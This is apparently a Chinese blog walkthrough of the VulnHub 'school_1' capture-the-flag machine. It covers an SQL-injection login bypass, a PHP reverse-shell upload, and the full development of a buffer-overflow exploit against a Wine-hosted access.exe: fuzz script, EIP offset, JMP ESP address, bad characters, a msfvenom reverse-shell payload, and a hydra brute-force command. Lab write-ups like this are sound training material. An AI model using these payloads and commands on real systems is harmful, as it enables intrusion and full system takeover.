Vulnhub打靶记录:school_1
相关信息
kali:10.0.0.9/24
靶机:10.0.0.10/24
靶机介绍:School: 1 ~ VulnHub
靶机下载:https://download.vulnhub.com/school/school.ova.gz
目标:2个 flag + root权限
难度:高
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路:
- 主机发现 漏洞扫描
- 信息搜集:尤其注意
23端口,这个端口nmap是识别不出来的,不像telnet服务 - SQL注入:用来登陆后台界面,当然通过密码爆破也是可以的
- 信息泄露:通过查看源码
- 文件上传 离线密码破解 在线密码破解
- WINE 缓冲区溢出
- EXP代码编写:非常重要,需要建立起缓冲区溢出漏洞的渗透全流程思路。
下意识的操作
namp扫描不出的端口服务,尽量尝试用nc尝试连接一下来辅助我们判断。- 在进入网页的源码目录时,一定记得查看数据库配置文件
- 查看
.bash_history文件
主要的知识点
wine是什么样的程序。- 缓冲区溢出发现和利用的全流程。
具体流程
信息搜集
-
端口扫描,服务发现。发现
ssh端口正常开放,80端口开放而且还存在login.php这个登陆页页面。但比较奇怪的是在23端口上开放的服务,正常应该就是telnet服务。可是nmap显示对该段口的服务并不确定,甚至还列出了可能的服务是什么。值得怀疑
-
尝试
nc连接23端口,发现居然需要密码的验证,但是很明显是无法成功的。
-
访问打开的
web网页,为一个登陆页面。进行简单的弱密码,万能密码。发现万能密码就可以直接进入网页后台。发现了其他的相关用户admin, jsmith@sample.com。( 另一种登陆后的思路:hydra爆破)
-
进入后台先查看源码,发现了两个重要的信息:
-
存在一个
url路径为 ``
-
发现一个
site_settings的page参数。
-
-
将
site_settings赋给url中的page参数访问后发现是有个上传文件工能的,这里直接上传一个kali自带的php后门代码,发现是可以直接进行上传的(记得修改相关参数)。
-
同时结合发现的
assets/uploads/地址,访问后可以看到上传的后门代码就存在uploads这个文件中,点击上传的文件后发现成功的反弹shell。
同时在
/home/fox的用户目录中获取第一个flag。
缓冲区漏洞发现
寻找提权的过程和思路失败尝试:点击查看
-
进入到
/root目录下,发现第二个flag但是目前权限不够。通过文件的权限发现还有个win的程序脚本。发现其作用是通过wine来运行一个access.exe的windows程序。 什么是wine
同时浏览隐藏文件
.wine中的相关文件中的dosdevices,可以看出到其中有表示window的相关目录结构。其中不难发现c:映射到../drive_c这个目录,z:映射到/根目录。
-
也可以通过后台程序来确认靶机运行了这两个程序,并且是由
root用户启动的----->如果通过access提权成功那么获得的权限就为root。
-
进入
/opt/access目录,将发现的.dll, .exe的windows程序文件利用python3开启http服务的方法。将这两个文件获取到window7中进行调试运行。
缓冲区漏洞的测试
测试环境为:
1.0.0.64 (kali), 1.0.0.65(win7)
-
其中
ImmunityDebugger为一个安装程序,mona-master为安装程序中的一个插件。直接傻瓜式安装ImmunityDebugger就可以了(需要的python环境,也会自动安装),然后将mona-master中的mona.py文件拷贝到Immuity安装目录下的PyCommands目录中,进行插件的安装。ImmunityDebugger介绍
-
运行
access后发现打开了23端口,并且该程序还提示自身具有漏洞,请不要让不信任的主机连接。结合开始发现主机是开放的23端口(同时连接还需要验证),几乎可以确定能产生缓冲区溢出的唯一可能点就是连接时需要输入的那个密码。
注意在
Immunity加载access.exe程序后需要连续点击两次开始才会正真的开始运行access.exe。
-
在
kali中使用下面的脚本:与目标23端口建立连接,同时传递2000个A时。python2运行脚本后可以发现access.exe是直接崩溃。同时EIP也被感染为41,表明该程序是一定有寄存器缓冲区溢出漏洞。
#! /usr/bin/python import sys import socket from time import sleep try: buffer = "A" * 2000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("1.0.0.65", 23)) s.send(buffer) s.close() print("\nDone!") except: print("Error!") -
逐步的尝试注入的字符长度,确认
EIP具体的注入位置为1902位后面4位,而且进一步多出的字符长度还会导致ESP指向的地址内容也会被C字符串覆盖。所以思路为:覆盖
EIP,让EIP指向ESP,从而来执行ESP中的代码,而可以通过溢出来控制ESP执行内存的具体代码(可以为恶意),来达到我们的反弹shell的目的。但是由于不同环境下ESP的地址是不同的,可以让EIP执行一个地址永远不变的JMP ESP命令,来让程序自动的跳转到ESP寄存器,从而绕过需要知道具体ESP地址的问题。JMP ESP的解释需要将上述脚本中的字符载荷
buffer更改为如下。buffer ='A'*1902 + 'BBBB' + 'C'*100
-
如何找到不变的
JMP ESP? 用mona这个插件,先查看该程序运行时调用了哪些模块。选择Rebase, SafeSEH, ASLR, NXCompat等全部为false的,上述特征就表明JMP ESP是固定不变的,下面选中的这个刚好为靶机上access程序配套的动态连接库模块。
-
再利用下面的命令来查找选中模块中的
JMP ESP的具体地址,命令中的\xff\xe4就是JMP ESP的十六进制的表示。后面使用的找到的第二个地址:0X625012dd。
-
测定坏字符,将
buffer更改为下面的代码,将坏字符的检测字符串放入ESP中进行查看。其中badchars是所有的ascii组成的字符串。坏字符:在不同的程序,系统,运行环境中,对于不同的字符组合是可能存在歧义的,导致程序代码无法真运行。构建
shellcode是需要避免坏字符。badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00") buffer = 'A'*1902 + 'BBBB' + badchars右击
ESP选择Follow in Dump查看对应内存的存储内容。
可以发现
4C后本应为4D,但却变为B0。这就表明4D为一个坏字符,所以删除该坏字符后重复进行多出尝试确定所有的坏字符为:\x4d\x4f\x5f\x79\x7e\x7f,同时\x00对任何程序来讲一定为坏字符。
-
接下来就是进行
shellcode的生成了,键入下面命令即可。msfvenom生成shellcode介绍msfvenom -p windows/shell_reverse_tcp LHOST=1.0.0.64 LPORT=4444 -f c -b "\x00\x4d\x4f\x5f\x79\x7e\x7f" EXITFUNC=thread
-
按如下构建攻击载荷,然后执行。可以发现成功的回弹为一个
window的交互界面。注意:自到这一步所有的缓冲区溢出测试,反弹等操作都是在自己搭建的
window, kali环境中做的,并没有到靶机上进行操作。因为如果直接在靶机上进行实验,一旦缓冲区溢出导致程序崩溃而且还没有反弹shell成功,就会导致渗透失败。因为靶机上的该程序已经崩溃,而我们又无法让该程序重启。在真实的渗透环境中尤为需要重视buffer = buffer ='A'*1902 + '\xdd\x12\x50\x62' + '\x90'*10 + shellcode'\xdd\x12\x50\x62':是寻找的两个JMP ESP的其中一个,但是考虑到大小端的问题。将其顺序进行返向排列。需要大小端的摆列顺序区别是按字节的排列顺序来确定的,而非bit。'\x90'*10:在程序的底层代码中为\x90时,寄存器会自动的向后滑动将其跳过。然后执行后续有效的代码。之所以在更改ESP的shellcode的头部加上这个\x90,是为了防止shellcode紧跟在ESP指向的内存后面导致运行失败。(是有这种可能的)
-
接下来只需要更改生成
shellcode的ip为打靶用的kali:10.0.0.9地址,同时修改脚本中的socket地址为靶机地址:10.0.0.10即可。可以发现完成shell的反弹,而且为window目录中的Z盘,同时我们知道Z盘映射到的是根目录/,所以自然而然的获取root目录下的flag。msfvenom -p windows/shell_reverse_tcp LHOST=1.0.0.64 LPORT=4444 -f c -b "\x00\x4d\x4f\x5f\x79\x7e\x7f" EXITFUNC=thread
相关工具/命令
命令
type
-
what?
在
window和linux的cat命令具有相似的作用,这是个windows命令。
工具
msfvenom
-
what? 返回
是Metasploit Framework的一个功能强大的工具,它用于生成各种类型的恶意软件载荷(payloads)。使用msfvenom,您可以指定不同的选项和参数来生成自定义的恶意软件载荷,包括指定目标平台、监听端口、加密、编码等。生成的载荷可以用于渗透测试、漏洞利用、安全研究以及教育目的。
-
具体实例
-
shellcode的生成:msfvenom -p windows/shell_reverse_tcp LHOST=1.0.0.64 LPORT=4444 -f c -b "\x00\x4d\x4f\x5f\x79\x7e\x7f" EXITFUNC=thread-
-p windows/shell_reverse_tcp:表示靶机为windows,且使用tcp返向连接的方式 -
-f c:以C语言的字符串格式来输出生成的shellcode -
-b "\x00\x4d\x4f\x5f\x79\x7e\x7f":设置需要避免的坏字符,必须以十六进制表示 -
EXITFUNC=thread:在Metasploit Framework中,当生成恶意软件载荷时,我们需要指定在Shellcode执行完成后使用的退出函数。退出函数的作用是在Shellcode执行结束后进行清理和退出操作,以确保不会对目标系统造成意外的影响。在这个特定的命令中,
EXITFUNC=thread用于指定退出函数为线程退出函数。线程退出函数的工作原理是创建一个新的线程,然后在新线程中执行清理和退出操作,而不会直接结束当前的进程。这样做的好处是,可以确保在Shellcode执行结束后,仍然可以保持与目标系统的连接,并且不会对系统状态产生过大的影响。使用
EXITFUNC=thread参数是一种常用的选择,特别是在需要保持与目标系统连接的情况下,例如反向Shell或Meterpreter会话。这样,攻击者可以在Shellcode执行完成后继续与目标系统进行交互,执行进一步的操作或收集信息。
-
-
ImmunityDebugger
-
what? 返回
是一种用于漏洞研究和软件调试的强大的交互式调试器和逆向工程工具。它主要用于分析和利用软件中的安全漏洞,特别是针对 Windows 平台的二进制文件和应用程序。提供了一套丰富的功能,包括动态调试、内存和寄存器查看、断点设置、代码执行控制、数据搜索和修改、模块和函数分析等。它还支持 Python 脚本编写和扩展,允许用户根据需要自定义和自动化调试过程。
-
具体使用
-
启用程序:在同文件夹选择程序后,需要连续点击两次红色的开始键才能运行选择的程序:

-
-
模块使用
-
mona.py模块: 相关功能:模块和函数信息收集,生成模式和填充数据,自动化的漏洞利用辅助工具,漏洞利用模块
!mona modules:查看程序调用了哪些模块!mona find -s "\xff\xe4" -m "funcs_access.dll":查找指定模块中的字符串,这个命令使用找一个模块中的JMP ESP命令的,\xff\xe4就是JMP ESP的十六进制的表示。
-
相关payload/工具
payload
所有的ascii字符
以字符串,十六进制表示
ascii_string = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00")
kali自带各种shell
- php:
/usr/share/webshells/php/php-reverse-shell.php
工具
解密网站
CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.
需要FQ才能正常使用
复盘/相关知识
复盘
hydra爆破web表单
- 相关介绍 返回
hydra不仅可以进行一般端口服务登陆的攻击,还能对其他的一些方面进行相关的密码爆破,如下是它可以具体进行的爆破对象。
Supported services: adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s]http[s]-{head|get|post} http[s]-{get|post}-form http-proxyhttp-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
其中就有对 web提交表单进行爆破的服务。
-
具体命令:
hydra -10.0.0.10 http-form-post "/student_attendance/ajax.php?action=login:username=^USER^&password=^PASS^:\r\n\r\n3" -l admin -P /root/25/FuzzDict/SuperWordlist_字典/MidPwds.txt -f -vV-
http-form-post:指明爆破的类型,尤其注意是post这个服务 -
/student_attendance/ajax.php?action=login:这个指定的url路径比较考究,必须是表单提交的真实路径。一般需要通过F12打开网络抓包查看具体的提交url路径。通过这张图片就可以看出url框中的为login.php,而实际是post给了ajax.php?action=login这个文件。
-
:用来分割不同的内容,让hydra来进行识别 -
username=^USER^&password=^PASS^: -
\r\n\r\n3:就是判断是否爆破成功的判断标准,一般为错误爆破时的特征字符。由于错误返回的内容Response是3。在http中\r\n\r\n是回车和换行的组合,表示分割请求头和请求体。这里表示在Response的返回包中的返回体中是有个3返回数据,所以该表示在请求体中有个3的返回字符。
总结格式为:
http-form-post <form-uri>:<form-fields>:<failure-response>form-fields:请求的相关字段。^USER^和^PASS^是Hydra的固定占位符failure-response:用于判断是否成功的响应。会按照该内容进行判断是否爆破成功
-
-f进行强制的密码破解,一但出现正确的密码就停止爆破
-
成功的爆破出 admin : amdin123。记得密码的复用
失败提权尝试
返回
-
进入
/var/www/html目录查看相关的网页源码,同时进入student_attendance目录下查看db_connetc.php配置文件获取数据库的用户和密码为(密码的复用)

mysqli的参数:ip, user, passwd, db_name
-
升级反弹,利用获取的用户和密码登陆数据库进行数据的查看。发现一个新的用户
John通过hash的在线破解其结果为06232014。(密码的复用,依然没有结果)
-
同时当查看
mysql的后台程序时,也只是一个第权限用户启动的。自此数据提权走不通。
-
进行内核和发现版本的查看和相关内核版本的尝试也是一无所获。
-
对于
passwd中的bash用户进行密码爆破,又是没有任何收获的。
重要
python_socket编程
import socket
socket.socket(socket_family,socket_type,protocal=0)
# socket_family 可以是 AF_UNIX 或 AF_INET。
# socket_type 可以是 SOCK_STREAM 或 SOCK_DGRAM。
#protocol 一般不填,默认值为 0。
# 获取tcp/ip套接字
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 获取udp/ip套接字
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ESP
简单理解是一个执行堆栈顶部的一个寄存器,堆栈里面存的是下面要执行程序的具体内容。一般将ESP修改为我们想要执行代码的指针位置。
JMP ESP
在汇编语言中,JMP ESP 是一条指令,用于在程序执行过程中无条件地跳转(跳转指令)到存储在 ESP 寄存器(栈指针寄存器)中的地址。ESP 寄存器通常用于保存栈的顶部地址,它指向当前栈帧的最后一个元素。JMP ESP 指令经常在漏洞利用和编写 Shellcode 时使用。它的主要目的是将程序控制流转移到 ESP 寄存器指向的内存地址处,通常是为了执行位于该地址处的恶意代码。返回
在利用漏洞时,攻击者可以通过某些漏洞(如栈溢出)覆盖函数调用栈中的返回地址,将其替换为存储在内存中的地址,而这个地址是 ESP 寄存器指向的。通过执行 JMP ESP 指令,控制流就会跳转到被攻击者控制的代码区域,从而实现攻击者的目的。
Telnet
-
what?
Telnet是一种用于远程登录到计算机系统的网络协议,也是相应的客户端/服务器应用程序。Telnet客户端允许用户通过网络连接到远程主机,并在远程主机上执行命令和操作。
Wine
-
what? 返回
一个开源的兼容层,旨在在类Unix操作系统(如Linux、macOS)上运行Windows应用程序。它并不是一个模拟器,而是提供了一个实现Windows API的库,使得Windows应用程序可以在非Windows系统上运行。
一个不依赖虚拟化的技术来实现在linux中运行windows程序的linux工具
-
相关测试说明:
- 这类工具存在系统漏洞的可能性非常的大,既通过
windows的程序漏洞来对linux进行提权,但是前提必须要求wine是root运行的,才具有更高的提权价值。 - 可以在
window环境中先对wine跑的程序进行测试,如果发现window程序具有漏洞那么在wine跑的程序也可以使用。
- 这类工具存在系统漏洞的可能性非常的大,既通过


浙公网安备 33010602011771号